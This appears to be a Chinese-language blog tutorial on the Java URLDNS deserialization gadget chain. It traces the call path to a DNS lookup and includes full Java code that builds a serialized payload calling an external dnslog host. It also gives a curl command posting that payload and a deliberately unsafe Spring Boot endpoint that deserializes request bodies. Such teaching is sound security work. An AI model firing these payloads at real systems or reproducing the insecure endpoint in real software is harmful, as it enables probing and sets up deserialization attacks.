0x00 前言
URLDNS是Java反序列化中比较简单的一个链,由于URLDNS不需要依赖第三方的包,同时不限制jdk的版本,所以通常用于检测反序列化的点
URLDNS并不能执行命令,只能发送DNS请求
0x01 序列化和反序列化
序列化是为了将对象进行长期存储而诞生的方法,那么反序列化就是将存储的序列化内容恢复成对象
Java的序列化和反序列化主要是 writeObject和readObject函数,Java允许开发者对readObject进行功能的补充,所以在反序列化过程中如果开发者重写了readObject方法那么Java会优先使用这个重写的方法,所以如果开发者书写不当的话就会导致命令执行
在大部分语言中都有序列化和反序列化的功能,例如PHP的serialize和unserialize,Java中的writeObject和ReadObject
反序列化漏洞在不同语言中影响也不同,我们所知的Java就存在很多反序列化漏洞,PHP则相对较少,这主要是取决于语言机制的关系
Java中的反序列化readObject 支持 Override,如果开发者重写了这个readObject方法,Java在反序列化过程中会优先调用开发者重写的这个readObject方法,通常在利用中我们需要找一个落脚点也就是gadget,利用这个落脚点来执行我们的恶意操作
PHP中的反序列化通常是利用魔术方法触发反序列化从而通过控制对象的属性,某些参数从而执行恶意命令。由于PHP在序列化和反序列化过程中是内部的操作,所以开发者是无法参与的,同样的PHP的反序列化中也需要寻找落脚点来执行我们的恶意操作
0x02 利用链
由于Java开发者(包括Java内置库的开发者)经常会在这⾥面写自己的逻辑,所以导致可以构造利用链
问题存在于HashMap的readObject方法,我们直接来看这个方法
private void readObject(java.io.ObjectInputStream s)
这里读取传入的输入流,并且会对传入的序列化数据进行反序列化
不过问题主要出现在putVal函数,这里对传入的key进行了Hash计算
发现hash函数会调用传入对象的hashCode函数
此时我们传入的是URL对象,所以我们跟进URL对象中的hashCode函数,首先会判断hashCode是否等于-1 如果不等于则直接返回,然后将自己传入了hashCode函数中,继续进行跟进
在hashCode中发现会传入 到getHostAddress函数,我们继续进行跟进
在红框处会进行一次DNS查询
所以利用链如下
HashMap->readObject
HashMap->putval
HashMap->hash
URL->hashCode
URLStreamHandler->hashCode
URLStreamHandler->getHostAddress
但是发现在hashmap利用put存入数据的时候也会调用putVal函数
所以在生成payload的过程中就会发起一次DNS请求,那么我们最好规避一下,防止这次DNS请求的发起
根据上文可以得知putVal函数中的hash会调用传入对象的 hashCode 方法
跟进查看URL类中的hashCode,这里发现有一个判断,如果hashCode不等于 -1 那么就直接进行返回了
所以我们可以利用反射来修改URL中的hashCode这个参数,在调用put方法前修改hashCode为别的数值,在调用put方法之后再将hashCode修改回来即可
HashMap map = new HashMap();
URL url = new URL("http://j0obud.dnslog.cn/");
Class clas = Class.forName("java.net.URL");
Field field = clas.getDeclaredField("hashCode");
field.setAccessible(true); // 变量为 private 修改访问权限
field.set(url,123);
map.put(url,"2333");
field.set(url,-1);
这样我们在生成payload过程中就不会发起DNS请求了
完整的payload如下
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL("http://j0obud.dnslog.cn/");
Class clas = Class.forName("java.net.URL");
Field field = clas.getDeclaredField("hashCode");
field.setAccessible(true);
field.set(url,123);
map.put(url,"2333");
field.set(url,-1);
try {
FileOutputStream outputStream = new FileOutputStream("./2.ser");
ObjectOutputStream outputStream1 = new ObjectOutputStream(outputStream);
outputStream1.writeObject(map);
outputStream.close();
outputStream1.close();
FileInputStream inputStream = new FileInputStream("./2.ser");
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
objectInputStream.readObject();
objectInputStream.close();
inputStream.close();
}catch (Exception e){
e.printStackTrace();
}
}
}
0x03 ysoserial中的利用方式
可在Debug配置中配置我们的命令方便调试
Ps:在利用IDEA部署ysoserial 有一个坑,就是dubug的时候总会提示缺少依赖,这里将level修改为默认的即可
我们看到在yso中并没有采用我们上面说到的利用反射修改属性的方法
yso通过创建子类,当在创建payload的过程中,调用SilentURLStreamHandler中的getHostAddress方法,使得在put过程中遇到了getHostAddress方法直接调用子类的这个方法返回null,从而不触发DNS请求
那么后面反序列化过程中是如何触发的呢?这里yso也写了注释
发现URL类中handler被设置为 transient
所以在序列化过程中并不会带上handler,所以在反序列化payload过程中会触发
0x04 利用URLDNS检测反序列化
curl "http://localhost:8082/urldns" --data-binary "@/Users/xxxxx/Desktop/2.ser"
我这里用springboot 写了一个小Demo
@ResponseBody
@RestController
public class URLDNS {
@PostMapping("/urldns")
public void URLDemo(HttpServletRequest request, HttpServletResponse response) throws Exception{
ServletInputStream inputStream = request.getInputStream();
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
objectInputStream.readObject();
}
}
如果我们将序列化后的内容利用post发送到 /urldns 那么后端就会对传过来的数据进行反序列化,从而发出DNS请求
成功收到DNS请求
0x05 参考链接
P牛知识星球-Java漫谈
https://paper.seebug.org/1242/#_1
https://www.guildhab.top/?p=6749
评论